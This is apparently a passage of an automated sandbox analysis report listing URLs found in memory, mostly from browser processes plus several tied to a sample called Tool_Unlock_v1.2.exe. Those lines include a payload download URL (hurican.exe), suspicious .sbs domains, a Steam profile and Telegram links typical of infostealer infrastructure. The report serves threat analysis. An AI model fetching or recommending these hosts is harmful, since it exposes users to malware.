Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%L
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com//L
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/6L
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9L
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/?L
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/CP
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/FP
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/GO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/JO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/MP
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/TO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/eO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/oO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/rO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/yO
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 00000008.00000002.2391661361.000001AC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: ZMGDJE.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000005.00000003.2263359995.0000313C027BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000005.00000003.2263359995.0000313C027BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000005.00000003.2263359995.0000313C027BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard1
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000003.2270197921.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271018683.0000313C02A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271054264.0000313C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270391395.0000313C021DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000005.00000003.2211768722.000002FC00878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 00000005.00000003.2270197921.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271018683.0000313C02A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271054264.0000313C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270391395.0000313C021DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mavidanc.com/
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mavidanc.com/#C
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000005EF000.00000040.00000400.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mavidanc.com/hurican.exe
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000005EF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://mavidanc.com/hurican.exe1kkkk5B
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000005EF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://mavidanc.com/hurican.exent-Disposition:
Source: msedge.exe, 00000008.00000002.2391661361.000001AC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000008.00000002.2391661361.000001AC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv102
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000005.00000003.2223899889.0000313C00F60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log0.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13379921130182808.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2055815669.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbs
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2157941057.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2134396651.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2218425519.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbs/
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2157941057.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2134396651.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbs/2
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2110608362.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2182086547.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2157941057.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2134396651.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2218425519.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbs/4
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000005EF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbsMOHVK6F
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000004BF000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://nwweek.sbsosh;
Source: msedge.exe, 00000008.00000002.2391661361.000001AC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000005.00000003.2271740079.0000313C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000003.2222220207.0000313C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSessionPortable
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000005.00000003.2223899889.0000313C00F60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000003.2225865189.0000313C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000003.2223899889.0000313C00F60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000005.00000003.2270197921.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271018683.0000313C02A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271054264.0000313C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270391395.0000313C021DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Tool_Unlock_v1.2.exe, Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199811540174
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199811540174hu76faMozilla/5.0
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/8
